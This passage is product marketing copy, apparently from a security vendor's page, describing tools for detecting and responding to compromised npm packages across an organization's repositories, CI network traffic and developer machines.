  • npm Package Search — Search across all PRs in all repositories across your organization to find where a specific package was introduced. When a compromised package is discovered, instantly understand the blast radius — which repos, which PRs, and which teams are affected. This works across pull requests, default branches, and dev machines.
  • Harden-Runner Network Baselines — Automatically logs outbound network traffic per job and repository, establishing normal behavior patterns and flagging anomalies. Reveals whether malicious postinstall scripts executed exfiltration attempts or contacted suspicious domains.

StepSecurity Threat Center delivers real-time threat intel advisories to customers with direct links to search for affected packages across their organization.

npm Package Search lets customers instantly check if compromised versions were introduced in any PR, default branch, or developer machine across their organization.

Respond — Investigate Incidents and Assess Organization-Wide Impact

  • Threat Center — Real-time alerts about compromised packages, hijacked maintainers, and emerging attack campaigns delivered directly into existing SIEM workflows. Alerts include attack summaries, technical analysis, IOCs, affected versions, and remediation steps.
  • Coordinated Remediation — Combines threat intel, package search, and network baselines to create a prioritized list of affected repositories with consistent guidance, enabling coordinated fixes across dozens or hundreds of repositories simultaneously.

Stop the next npm supply chain attack before it impacts you

Cooldown checks block newly published packages in PRs. npm Package Search finds compromised dependencies across your entire org. AI-powered Threat Intel detects malicious releases within minutes.

Start Free →

References